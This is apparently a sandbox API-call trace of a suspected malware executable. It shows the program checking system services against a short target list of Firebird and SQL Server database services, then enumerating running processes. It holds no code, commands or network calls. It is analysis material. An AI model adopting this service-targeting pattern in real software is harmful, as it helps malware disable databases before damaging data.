	[0168.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0168.626] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0168.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0168.627] lstrlenW (lpString="netprofm") returned 8
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0168.627] lstrlenW (lpString="NgcSvc") returned 6
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0168.627] lstrlenW (lpString="NlaSvc") returned 6
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0168.627] lstrlenW (lpString="nsi") returned 3
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0168.627] lstrlenW (lpString="PcaSvc") returned 6
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0168.627] lstrlenW (lpString="PlugPlay") returned 8
	[0168.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0168.627] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0168.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0168.628] lstrlenW (lpString="Power") returned 5
	[0168.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0168.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0168.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0168.628] lstrlenW (lpString="ProfSvc") returned 7
	[0168.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0168.628] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0168.628] lstrlenW (lpString="RpcEptMapper") returned 12
	[0168.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0168.628] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0168.628] lstrlenW (lpString="RpcSs") returned 5
	[0168.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0168.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0168.628] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0168.628] lstrlenW (lpString="SamSs") returned 5
	[0168.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0168.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0168.628] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0168.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0168.628] lstrlenW (lpString="Schedule") returned 8
	[0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0168.813] lstrlenW (lpString="SecurityHealthService") returned 21
	[0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0168.813] lstrlenW (lpString="SENS") returned 4
	[0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0168.813] lstrlenW (lpString="ShellHWDetection") returned 16
	[0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0168.813] lstrlenW (lpString="Spooler") returned 7
	[0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0168.813] lstrlenW (lpString="StateRepository") returned 15
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0168.814] lstrlenW (lpString="SysMain") returned 7
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0168.814] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0168.814] lstrlenW (lpString="Themes") returned 6
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0168.814] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0168.814] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0168.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40ab8d8 | out: hHeap=0x710000) returned 1
	[0168.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c8
	[0168.820] Process32FirstW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0168.820] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0168.821] lstrlenW (lpString="System") returned 6
	[0168.821] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0168.821] lstrlenW (lpString="smss.exe") returned 8
	[0168.821] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.822] lstrlenW (lpString="csrss.exe") returned 9
	[0168.822] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0168.822] lstrlenW (lpString="wininit.exe") returned 11
	[0168.822] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0168.823] lstrlenW (lpString="csrss.exe") returned 9
	[0168.823] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0168.823] lstrlenW (lpString="winlogon.exe") returned 12
	[0168.823] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0168.824] lstrlenW (lpString="services.exe") returned 12
	[0168.824] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0168.824] lstrlenW (lpString="lsass.exe") returned 9
	[0168.824] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.825] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.825] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.825] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.825] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.826] lstrlenW (lpString="svchost.exe") returned 11
	[0168.826] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.826] lstrlenW (lpString="svchost.exe") returned 11
	[0168.826] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0168.826] lstrlenW (lpString="dwm.exe") returned 7
	[0168.827] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.827] lstrlenW (lpString="svchost.exe") returned 11
	[0168.827] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.827] lstrlenW (lpString="svchost.exe") returned 11
	[0168.827] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.828] lstrlenW (lpString="svchost.exe") returned 11
	[0168.828] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.846] lstrlenW (lpString="svchost.exe") returned 11
	[0168.846] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.846] lstrlenW (lpString="svchost.exe") returned 11
	[0168.846] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.847] lstrlenW (lpString="svchost.exe") returned 11
	[0168.847] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.847] lstrlenW (lpString="svchost.exe") returned 11
	[0168.847] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.847] lstrlenW (lpString="svchost.exe") returned 11
	[0168.847] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.848] lstrlenW (lpString="svchost.exe") returned 11
	[0168.848] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.848] lstrlenW (lpString="svchost.exe") returned 11
	[0168.848] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0168.849] lstrlenW (lpString="spoolsv.exe") returned 11
	[0168.849] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.849] lstrlenW (lpString="svchost.exe") returned 11
	[0168.849] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0168.849] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0168.850] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0168.850] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0168.850] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0168.850] lstrlenW (lpString="audiodg.exe") returned 11
	[0168.850] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0168.851] lstrlenW (lpString="Memory Compression") returned 18
	[0168.851] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.851] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.851] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0168.852] lstrlenW (lpString="sihost.exe") returned 10
	[0168.852] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.852] lstrlenW (lpString="svchost.exe") returned 11
	[0168.852] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.852] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.853] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0168.853] lstrlenW (lpString="explorer.exe") returned 12
	[0168.853] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0168.853] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0168.853] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0168.854] lstrlenW (lpString="SearchUI.exe") returned 12
	[0168.854] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0168.854] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0168.855] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0168.855] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0168.855] Process32NextW (in: hSnapshot=0x4c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0168.855] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
